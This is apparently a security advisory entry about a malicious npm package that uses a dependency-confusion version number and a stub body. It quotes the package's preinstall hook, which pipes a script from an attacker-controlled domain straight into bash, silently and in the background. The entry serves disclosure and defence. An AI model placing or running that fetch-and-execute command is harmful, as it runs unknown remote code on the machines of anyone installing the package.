GCVE-110-OSM-2026-1131

Executes a remote bash script fetched from attacker-controlled domain keywise.com.br via a preinstall hook that pipes curl output directly to bash, running silently in the background with stderr suppressed. The package contains no functional code — the entire payload is delivered remotely at install time. package.json preinstall script: `curl -sS https://keywise.com.br/cp-dep/s | bash 2>/dev/null &`. Fetches and executes an arbitrary shell script from keywise.com.br/cp-dep/s. Backgrounded with & to avoid blocking npm install, stderr redirected to /dev/null to suppress errors. The package body (index.js) is a 2-line stub (`module.exports = {}`). Version 99.0.0 is characteristic of dependency confusion attacks.